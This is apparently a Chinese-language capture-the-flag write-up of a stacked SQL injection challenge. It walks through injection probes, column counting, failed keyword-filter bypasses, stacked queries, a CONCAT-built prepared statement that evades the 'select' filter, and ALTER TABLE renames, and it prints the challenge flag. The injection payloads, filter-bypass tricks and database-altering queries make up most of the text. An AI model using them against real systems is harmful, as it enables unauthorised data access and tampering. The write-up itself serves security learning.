在輸入框提交後瀏覽器自動進行URL編碼。若在hackbar中,則需要手動進行URL編碼。
嘗試: 1’ –
顯示結果
於是修改爲 1’#
顯示:
正常情況下輸入
一: 1
二: 1' and 1=1
三: 1'and 1=2
若一、二、三都爲真,則存在注入點。
經測試,存在注入點。
然後 通過order by
測試一共有多少列。
經過測試,一共又兩列。
然後輸入1' union select database(),user() #
顯示:
發現對select、update、delete、drop、insert、where、. ,這些字符和單詞進行了過濾。
嘗試繞過:
1.將select改爲SElect
2.select 改爲 sele/**/ct
3.select 改爲 sele%ct
三種情況發現都無法進行繞過
於是考慮堆疊注入。
輸入1';show tables;
成功。
顯示錶的內容,然後進行查看錶的列數。
分別輸入
1'; show columns from
` 1919810931114514
` ; #
1'; show columns from
` words
` ; #
然後大致瞭解情況,看到flag在1919810931114514表中,
於是通過預編譯查看,預編譯主要代碼如下:
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;
輸入1’;Set @sql = CONCAT(‘se’,‘lect * from `
1919810931114514
`;’); Prepare stmt from @sql; EXECUTE stmt; #
看到flag。
flag 爲flag{c168d583ed0d4d7196967b28cbd0b5e9}
第二種方法
繞過select還有第二個方法,更改表名列名。通過上面的表的列數可以大致猜到查詢的表爲words,我們將表1919810931114514名字改爲words,flag列名字改爲id,那麼就能得到flag的內容了。
修改表名和列名的語法如下:
修改表名(將表名user改爲users)
alter table user rename to users;
修改列名(將字段名username改爲name)
alter table users change uesrname name varchar(30);
最終payload如下:
輸入:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分開來如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#
然後在輸入框輸入1即可查詢出flag
- 參考師傅文章:參考